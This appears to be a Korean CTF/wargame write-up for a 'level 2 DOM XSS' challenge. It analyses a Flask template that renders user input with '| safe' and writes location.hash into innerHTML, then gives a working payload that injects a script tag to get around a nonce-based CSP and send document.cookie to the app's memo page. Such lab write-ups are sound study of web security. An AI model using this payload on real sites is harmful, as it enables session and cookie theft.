CTF & Wargame(WEB)

level 2 DOM XSS

KWAKBUMJUN 2025. 4. 22. 03:41

엔드 포인트 분석

/vuln

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", nonce=nonce, param=param)

해당 함수에서는 파라미터를 사용자에게 받고 받은 값을 param에 넘겨준다. 그리고 vuln.html을 반환한다. 여기서 vuln.html을 반환할때 render_template함수를 사용하고 있기 때문에 XSS는 어려울것으로 예상된다. 

vuln.html

{% extends "base.html" %}
{% block title %}Index{% endblock %}

{% block head %}
  {{ super() }}
  <style type="text/css">
    .important { color: #336699; }
  </style>
{% endblock %}

{% block content %}

  <script nonce={{ nonce }}>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
  {{ param | safe }}
  <pre id="name"></pre>
{% endblock %}

 

id가 name인 태그를 가져온 뒤에 name_elem에 저장한다.

그리고 주소장에 있는 hash 값을 가져온다. 그리고 <pre id="name"> 태그에 `hash값` is my name을 삽입함.

그리고 {{ param | safe }}라는 태그가 보이는데, 해당 태그는 사용자가 param에 입력한 값을 그대로 출력해준다.

익스플로잇

{{ param | safe }}를 통해 사용자가 입력한 값을 그대로 출력한다고 했기에

<script id="name">
alert(1);//
</script>

vuln 페이지에서 param에 <script id="name"></script>를 입력하고 hash 뒤에 alert(1);//를 입력하면 스크립트가 위와 같이 완성되어 alert(1)을 실행하게 될 것이다.

 

param = <script id="name"></script>

# = location.href='/memo?memo='+document.cookie;//

이렇게 입력해주면 memo 페이지에 flag가 출력되어있는 것을 확인할수 있을 것이다.

 

그리고 ""가 아닌 ''를 쓰는 이유는 vuln페이지에서 ""는 인코딩하지만 ''는 인코딩하지않기 때문이다.

'CTF & Wargame(WEB)' 카테고리의 다른 글

level 1 error based sql injection  (0) 2025.04.22
level 2 blind sql injection advanced  (0) 2025.04.22
level 3 XS-Search  (0) 2025.04.22
level 2 Relative Path Overwrite Advanced  (0) 2025.04.21
RPO(Relative Path Overwrite) 이해하기  (0) 2025.04.21